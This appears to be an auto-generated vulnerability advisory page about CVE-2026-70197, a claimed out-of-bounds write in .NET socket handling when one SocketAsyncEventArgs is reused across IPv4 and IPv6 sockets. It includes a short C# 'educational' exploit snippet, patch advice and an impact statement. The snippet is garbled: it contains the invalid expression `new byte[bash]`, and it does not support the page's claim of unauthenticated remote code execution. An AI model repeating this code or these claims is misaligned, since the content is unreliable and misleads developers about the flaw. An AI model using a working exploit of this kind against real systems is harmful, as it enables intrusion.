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On Windows systems, reusing a single `SocketAsyncEventArgs` instance across both IPv4 and IPv6 datagram sockets introduces a critical flaw within System.Net.Sockets. During this socket reuse pattern, the underlying runtime can inappropriately retain an undersized cached native address buffer from the previous operation. When a subsequent asynchronous receive operation like `ReceiveFromAsync` executes, the mismatched buffer size fails to account for the larger destination address structure or incoming data bounds. This condition triggers an unauthenticated out-of-bounds write vulnerability within the native network stack. An attacker can exploit this memory corruption vector remotely to overwrite adjacent heap or stack structures, leading directly to arbitrary remote code execution under the context of the running application without requiring any user interaction or privileges.
DailyCVE Form:
Platform: Windows
Version: 8.0 to 11.0
Vulnerability : Out-of-bounds Write
Severity: High
date: 10/13/2026
Prediction: October 13, 2026
What Undercode Say
Analytics
The vulnerability stems from unsafe memory buffer sizing when transitioning socket context types between different address families. Because the native address buffer cache size is not properly recalculated or reallocated when switching from IPv4 to IPv6 datagram sockets using identical `SocketAsyncEventArgs` pools, memory calculations become desynchronized from the actual payload size processed by ReceiveFromAsync.
Exploit: (Educational Purposes!)
using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;
class PoC
{
static void Main()
{
var socketV4 = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
var socketV6 = new Socket(AddressFamily.InterNetworkV6, SocketType.Dgram, ProtocolType.Udp);
var saea = new SocketAsyncEventArgs();
saea.SetBuffer(new byte[bash], 0, 1024);
// Trigger reuse across different address families to cause buffer mismatch
socketV4.ReceiveFromAsync(saea);
saea.RemoteEndPoint = new IPEndPoint(IPAddress.IPv6Any, 0);
socketV6.ReceiveFromAsync(saea); // Unauthenticated out-of-bounds write vector
}
}
Protection: from this CVE
To protect your applications against CVE-2026-70197, immediately update your .NET runtime or SDK to the latest patched versions (such as 8.0.32, 9.0.21, 10.0.13, or 11.0.0-rc.2 depending on your release track) by running package updates or updating through Visual Studio. Ensure that all self-contained deployments are fully recompiled and redeployed with the updated runtime libraries, and restart all dependent application services.
Impact
Successful exploitation of this flaw allows remote, unauthenticated attackers to execute arbitrary code within the security context of the vulnerable application, potentially compromising data confidentiality, system integrity, and service availability.
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Sources:
Reported By: github.com
Extra Source Hub:
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